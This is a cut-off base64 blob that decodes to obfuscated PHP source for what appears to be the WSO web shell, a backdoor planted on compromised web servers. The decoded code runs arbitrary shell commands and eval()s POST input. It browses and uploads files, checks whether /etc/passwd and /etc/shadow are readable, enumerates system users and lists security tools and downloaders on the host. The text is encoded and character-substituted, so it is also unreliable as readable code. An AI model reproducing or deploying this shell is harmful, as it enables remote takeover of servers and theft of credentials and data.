LTgnLCAnVzRuZDJ3cy02YWk2JywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4ZWUnKTsNCgkkMnB0X2NoMXJzNXRzID0gJyc7DQoJZjJyNTFjaCgkY2gxcnM1dHMgMXMgJDR0NW0pDQoJCSQycHRfY2gxcnM1dHMgLj0gJzwycHQ0Mm4gdjFsMzU9IicuJDR0NW0uJyIgJy4oJF9QT1NUWydjaDFyczV0J109PSQ0dDVtPydzNWw1Y3Q1ZCc6JycpLic+Jy4kNHQ1bS4nPC8ycHQ0Mm4+JzsNCg0KCSRtID0gMXJyMXkoJ1M1Yy4gSW5mMic9PidTNWNJbmYyJywnRjRsNXMnPT4nRjRsNXNNMW4nLCdDMm5zMmw1Jz0+J0MybnMybDUnLCdTcWwnPT4nU3FsJywnUGhwJz0+J1BocCcsJ1N0cjRuZyB0MjJscyc9PidTdHI0bmdUMjJscycsJ0JyM3Q1ZjJyYzUnPT4nQnIzdDVmMnJjNScsJ041dHcycmsnPT4nTjV0dzJyaycpOw0KCTRmKCE1bXB0eSgkR0xPQkFMU1snMTN0aF9wMXNzJ10pKQ0KCQkkbVsnTDJnMjN0J10gPSAnTDJnMjN0JzsNCgkkbVsnUzVsZiByNW0ydjUnXSA9ICdTNWxmUjVtMnY1JzsNCgkkbTVuMyA9ICcnOw0KCWYycjUxY2goJG0gMXMgJGsgPT4gJHYpDQoJCSRtNW4zIC49ICc8dGggdzRkdGg9IicuKDRudCkoNjAwL2MyM250KCRtKSkuJyUiPlsgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJycuJHYuJ1wnLG4zbGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8LzE+IF08L3RoPic7DQoNCgkkZHI0djVzID0gIiI7DQoJNGYoJEdMT0JBTFNbJzJzJ10gPT0gJ3c0bicpIHsNCgkJZjJyNTFjaChyMW5nNSgnYycsJ3onKSAxcyAkZHI0djUpDQoJCTRmKDRzX2Q0cigkZHI0djUuJzpcXCcpKQ0KCQkJJGRyNHY1cyAuPSAnPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzTTFuXCcsXCcnLiRkcjR2NS4nOi9cJykiPlsgJy4kZHI0djUuJyBdPC8xPiAnOw0KCX0NCgk1Y2gyICc8dDFibDUgY2wxc3M9NG5mMiBjNWxscDFkZDRuZz1vIGM1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+VW4xbTU6PGJyPlVzNXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6JyAuICgkR0xPQkFMU1snMnMnXSA9PSAndzRuJz8nPGJyPkRyNHY1czonOicnKSAuICc8L3NwMW4+PC90ZD4nDQogICAgICAgLiAnPHRkPjxuMmJyPicgLiBzM2JzdHIoQHBocF8zbjFtNSgpLCAwLCA2YTApIC4gJyA8MSBocjVmPSInIC4gJDV4cGw0bmsgLiAnIiB0MXJnNXQ9X2JsMW5rPls1eHBsMjR0LWRiLmMybV08LzE+PC9uMmJyPjxicj4nIC4gJDM0ZCAuICcgKCAnIC4gJDNzNXIgLiAnICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnIC4gJGc0ZCAuICcgKCAnIC4gJGdyMjNwIC4gJyApPGJyPicgLiBAcGhwdjVyczQybigpIC4gJyA8c3Axbj5TMWY1IG0yZDU6PC9zcDFuPiAnIC4gKCRHTE9CQUxTWydzMWY1X20yZDUnXT8nPGYybnQgYzJsMnI9cjVkPk9OPC9mMm50Pic6JzxmMm50IGMybDJyPWdyNTVuPjxiPk9GRjwvYj48L2YybnQ+JykNCiAgICAgICAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLFwnXCcsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnIC4gZDF0NSgnWS1tLWQgSDo0OnMnKSAuICc8YnI+JyAuIHdzMlY0NXdTNHo1KCR0MnQxbFNwMWM1KSAuICcgPHNwMW4+RnI1NTo8L3NwMW4+ICcgLiB3czJWNDV3UzR6NSgkZnI1NVNwMWM1KSAuICcgKCcuICg0bnQpICgkZnI1NVNwMWM1LyR0MnQxbFNwMWM1KjYwMCkgLiAnJSk8YnI+JyAuICRjd2RfbDRua3MgLiAnICcuIHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKSAuICcgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdGNGw1c00xblwnLFwnJyAuICRHTE9CQUxTWydoMm01X2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPicgLiAkZHI0djVzIC4gJzwvdGQ+Jw0KICAgICAgIC4gJzx0ZCB3NGR0aD02IDFsNGduPXI0Z2h0PjxuMmJyPjxzNWw1Y3QgMm5jaDFuZzU9ImcobjNsbCxuM2xsLG4zbGwsbjNsbCxuM2xsLHRoNHMudjFsMzUpIj48MnB0Z3IyM3AgbDFiNWw9IlAxZzUgY2gxcnM1dCI+JyAuICQycHRfY2gxcnM1dHMgLiAnPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+JyAuIEAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSAuICc8YnI+PHNwMW4+Q2w0NW50IElQOjwvc3Axbj48YnI+JyAuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4gJzwvbjJicj48L3RkPjwvdHI+PC90MWJsNT4nDQogICAgICAgLiAnPHQxYmw1IHN0eWw1PSJiMnJkNXItdDJwOmFweCBzMmw0ZCAjb29vOyIgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicgLiAkbTVuMyAuICc8L3RyPjwvdDFibDU+PGQ0diBzdHlsNT0ibTFyZzRuOmkiPic7DQp9DQoNCmYzbmN0NDJuIHdzMkYyMnQ1cigpIHsNCgkkNHNfd3I0dDFibDUgPSA0c193cjR0MWJsNSgkR0xPQkFMU1snY3dkJ10pPyIgPGYybnQgYzJsMnI9J2dyNTVuJz4oV3I0dDUxYmw1KTwvZjJudD4iOiIgPGYybnQgYzJsMnI9cjVkPihOMnQgd3I0dDFibDUpPC9mMm50PiI7DQogICAgNWNoMiAiDQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPW8gYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlICBzdHlsNT0nYjJyZDVyLXQycDphcHggczJsNGQgI29vbztiMnJkNXItYjJ0dDJtOmFweCBzMmw0ZCAjb29vOyc+DQoJPHRyPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9J2cobjNsbCx0aDRzLmMudjFsMzUsXCJcIik7cjV0M3JuIGYxbHM1Oyc+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0Y0bDVzTTFuJyxuM2xsLCdta2Q0cicsdGg0cy5kLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+TTFrNSBkNHI6PC9zcDFuPiQ0c193cjR0MWJsNTxicj48NG5wM3QgY2wxc3M9J3QyMmxzSW5wJyB0eXA1PXQ1eHQgbjFtNT1kPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0nPj4nPjwvZjJybT48L3RkPg0KCQk8dGQ+PGYycm0gMm5zM2JtNHQ9XCJnKCdGNGw1c1QyMmxzJyxuM2xsLHRoNHMuZi52MWwzNSwnbWtmNGw1Jyk7cjV0M3JuIGYxbHM1O1wiPjxzcDFuPk0xazUgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJPC90cj48dHI+DQoJCTx0ZD48ZjJybSAybnMzYm00dD1cImcoJ0MybnMybDUnLG4zbGwsdGg0cy5jLnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHNwMW4+RXg1YzN0NTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Jyc+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjwvdGQ+DQoJCTx0ZD48ZjJybSBtNXRoMmQ9J3Ayc3QnIEVOQ1RZUEU9J20zbHQ0cDFydC9mMnJtLWQxdDEnPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c01Bbic+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiAkR0xPQkFMU1snY3dkJ10gLiInPg0KCQk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0nM3BsMjFkRjRsNSc+DQoJCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9JyIgLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuICInPg0KCQk8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+JDRzX3dyNHQxYmw1PGJyPjw0bnAzdCBjbDFzcz0ndDIybHNJbnAnIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSc+Pic+PC9mMnJtPjxiciAgPjwvdGQ+DQoJPC90cj48L3QxYmw1PjwvZDR2PjwvYjJkeT48L2h0bWw+IjsNCn0NCg0KNGYgKCFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkpIHsNCiAgICBmM25jdDQybiBwMnM0eF9nNXRwdzM0ZCgkcCkge3I1dDNybiBmMWxzNTt9IH0NCjRmICghZjNuY3Q0Mm5fNXg0c3RzKCJwMnM0eF9nNXRncmc0ZCIpICYmIChzdHJwMnMoJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10sICdwMnM0eF9nNXRncmc0ZCcpPT09ZjFsczUpKSB7DQogICAgZjNuY3Q0Mm4gcDJzNHhfZzV0Z3JnNGQoJHApIHtyNXQzcm4gZjFsczU7fSB9DQoNCmYzbmN0NDJuIHdzMkV4KCQ0bikgew0KCSQyM3QgPSAnJzsNCgk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCgkJQDV4NWMoJDRuLCQyM3QpOw0KCQkkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCgl9IDVsczU0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCTJiX3N0MXJ0KCk7DQoJCUBwMXNzdGhyMygkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc3lzdDVtJykpIHsNCgkJMmJfc3QxcnQoKTsNCgkJQHN5c3Q1bSgkNG4pOw0KCQkkMjN0ID0gMmJfZzV0X2NsNTFuKCk7DQoJfSA1bHM1NGYgKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQoJCSQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQoJfSA1bHM1NGYgKDRzX3I1czIzcmM1KCRmID0gQHAycDVuKCQ0biwiciIpKSkgew0KCQkkMjN0ID0gIiI7DQoJCXdoNGw1KCFAZjUyZigkZikpDQoJCQkkMjN0IC49IGZyNTFkKCRmLDYwYXUpOw0KCQlwY2wyczUoJGYpOw0KCX0NCglyNXQzcm4gJDIzdDsNCn0NCg0KZjNuY3Q0Mm4gd3MyVjQ1d1M0ejUoJHMpIHsNCgk0ZigkcyA+PSA2MDdvN3U2OGF1KQ0KCQlyNXQzcm4gc3ByNG50ZignJTYuYWYnLCAkcyAvIDYwN283dTY4YXUgKS4gJyBHQic7DQoJNWxzNTRmKCRzID49IDYwdThpN2UpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjB1OGk3ZSApIC4gJyBNQic7DQoJNWxzNTRmKCRzID49IDYwYXUpDQoJCXI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjBhdSApIC4gJyBLQic7DQoJNWxzNQ0KCQlyNXQzcm4gJHMgLiAnIEInOw0KfQ0KDQpmM25jdDQybiB3czJQNXJtcygkcCkgew0KCTRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCgk1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KCTVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQoJNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCgk1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KCTVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQoJNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCgk1bHM1ICQ0ID0gJzMnOw0KCSQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCgkkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQoJJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQoJJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KCSQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCgkkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KCXI1dDNybiAkNDsNCn0NCg0KZjNuY3Q0Mm4gd3MyUDVybXNDMmwycigkZikgew0KCTRmICghQDRzX3I1MWQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQoJNWxzNTRmICghQDRzX3dyNHQxYmw1KCRmKSkNCgkJcjV0M3JuICc8ZjJudCBjMmwycj13aDR0NT4nIC4gd3MyUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KCTVsczUNCgkJcjV0M3JuICc8ZjJudCBjMmwycj0jYWlmZjAwPicgLiB3czJQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQoNCmYzbmN0NDJuIHdzMlNjMW5kNHIoJGQ0cikgew0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQogICAgICAgIHI1dDNybiBzYzFuZDRyKCRkNHIpOw0KICAgIH0gNWxzNSB7DQogICAgICAgICRkaCAgPSAycDVuZDRyKCRkNHIpOw0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKQ0KICAgICAgICAgICAgJGY0bDVzW10gPSAkZjRsNW4xbTU7DQogICAgICAgIHI1dDNybiAkZjRsNXM7DQogICAgfQ0KfQ0KDQpmM25jdDQybiB3czJXaDRjaCgkcCkgew0KCSRwMXRoID0gd3MyRXgoJ3doNGNoICcgLiAkcCk7DQoJNGYoITVtcHR5KCRwMXRoKSkNCgkJcjV0M3JuICRwMXRoOw0KCXI1dDNybiBmMWxzNTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVjSW5mMigpIHsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCglmM25jdDQybiB3czJTNWNQMXIxbSgkbiwgJHYpIHsNCgkJJHYgPSB0cjRtKCR2KTsNCgkJNGYoJHYpIHsNCgkJCTVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KCQkJNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQoJCQkJNWNoMiAkdiAuICc8YnI+JzsNCgkJCTVsczUNCgkJCQk1Y2gyICc8cHI1IGNsMXNzPW1sNj4nIC4gJHYgLiAnPC9wcjU+JzsNCgkJfQ0KCX0NCg0KCXdzMlM1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCcxcDFjaDVfZzV0X20yZDNsNXMnKSkNCiAgICAgICAgd3MyUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCgl3czJTNWNQMXIxbSgnRDRzMWJsNWQgUEhQIEYzbmN0NDJucycsICRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddPyRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddOiduMm41Jyk7DQoJd3MyUzVjUDFyMW0oJ09wNW4gYjFzNSBkNHInLCBANG40X2c1dCgnMnA1bl9iMXM1ZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdTMWY1IG0yZDUgNG5jbDNkNSBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzRuY2wzZDVfZDRyJykpOw0KCXdzMlM1Y1AxcjFtKCdjVVJMIHMzcHAycnQnLCBmM25jdDQybl81eDRzdHMoJ2MzcmxfdjVyczQybicpPyc1bjFibDVkJzonbjInKTsNCgkkdDVtcD0xcnIxeSgpOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQoJCSR0NW1wW10gPSAiTXlTcWwgKCIubXlzcWxfZzV0X2NsNDVudF80bmYyKCkuIikiOw0KCTRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KCQkkdDVtcFtdID0gIk1TU1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCgkJJHQ1bXBbXSA9ICJQMnN0Z3I1U1FMIjsNCgk0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQoJCSR0NW1wW10gPSAiT3IxY2w1IjsNCgl3czJTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCgk1Y2gyICc8YnI+JzsNCg0KCTRmKCRHTE9CQUxTWycycyddID09ICduNHgnKSB7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdSNTFkMWJsNSAvNXRjL3NoMWQydycsIEA0c19yNTFkMWJsNSgnLzV0Yy9zaDFkMncnKT8ieTVzIDwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsIFwiLzV0Yy9cIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ09TIHY1cnM0Mm4nLCBAZjRsNV9nNXRfYzJudDVudHMoJy9wcjJjL3Y1cnM0Mm4nKSk7DQogICAgICAgICAgICB3czJTNWNQMXIxbSgnRDRzdHIgbjFtNScsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy80c3MzNS5uNXQnKSk7DQogICAgICAgICAgICA0ZighJEdMT0JBTFNbJ3MxZjVfbTJkNSddKSB7DQogICAgICAgICAgICAgICAgJDNzNXJmM2wgPSAxcnIxeSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ20xazUnLCdwaHAnLCdwNXJsJywncHl0aDJuJywncjNieScsJ3QxcicsJ2d6NHAnLCdiejRwJywnYno0cGEnLCduYycsJ2wyYzF0NScsJ3MzNGRwNXJsJyk7DQogICAgICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAgICAgJGQyd25sMjFkNXJzID0gMXJyMXkoJ3dnNXQnLCdmNXRjaCcsJ2x5bngnLCdsNG5rcycsJ2MzcmwnLCdnNXQnLCdsd3AtbTRycjJyJyk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyPic7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkM3M1cmYzbCAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgNGYod3MyV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdVczVyZjNsJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICA0Zih3czJXaDRjaCgkNHQ1bSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0Qyd25sMjFkNXJzJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgICAgIHdzMlM1Y1AxcjFtKCdIREQgc3AxYzUnLCB3czJFeCgnZGYgLWgnKSk7DQogICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ0gyc3RzJywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjL2gyc3RzJykpOw0KICAgICAgICAgICAgICAgIDVjaDIgJzxici8+PHNwMW4+cDJzNHhfZzV0cHczNGQgKCJSNTFkIiAvNXRjL3Axc3N3ZCk8L3NwMW4+PHQxYmw1PjxmMnJtIDJuczNibTR0PVwnZyhuM2xsLG4zbGwsImkiLHRoNHMucDFyMW02LnYxbDM1LHRoNHMucDFyMW1hLnYxbDM1KTtyNXQzcm4gZjFsczU7XCc+PHRyPjx0ZD5GcjJtPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtNiB2MWwzNT0wPjwvdGQ+PC90cj48dHI+PHRkPlQyPC90ZD48dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PXAxcjFtYSB2MWwzNT02MDAwPjwvdGQ+PC90cj48L3QxYmw1Pjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KICAgICAgICAgICAgICAgIDRmICg0c3M1dCAoJF9QT1NUWydwYSddLCAkX1BPU1RbJ3BvJ10pICYmIDRzX24zbTVyNGMoJF9QT1NUWydwYSddKSAmJiA0c19uM201cjRjKCRfUE9TVFsncG8nXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgZjJyKDskX1BPU1RbJ3BhJ10gPD0gJF9QT1NUWydwbyddOyRfUE9TVFsncGEnXSsrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKCRfUE9TVFsncGEnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDM0ZCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdDVtcCAuPSBqMjRuKCc6JywkMzRkKS4iXG4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgICAgICAgICAgd3MyUzVjUDFyMW0oJ1VzNXJzJywgJHQ1bXApOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCgl9IDVsczUgew0KCQl3czJTNWNQMXIxbSgnT1MgVjVyczQybicsd3MyRXgoJ3Y1cicpKTsNCgkJd3MyUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLHdzMkV4KCduNXQgMWNjMjNudHMnKSk7DQoJCXdzMlM1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyx3czJFeCgnbjV0IDNzNXInKSk7DQoJfQ0KCTVjaDIgJzwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnLCB0cjM1KTsNCgkJMmJfc3QxcnQoKTsNCgkJNXYxbCgkX1BPU1RbJ3A2J10pOw0KCQkkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnUGhwTzN0cDN0JykuNG5uNXJIVE1MPSciIC4gMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4JywgMCk7DQoNCgl3czJINTFkNXIoKTsNCgk0Zig0c3M1dCgkX1BPU1RbJ3BhJ10pICYmICgkX1BPU1RbJ3BhJ10gPT0gJzRuZjInKSkgew0KCQk1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3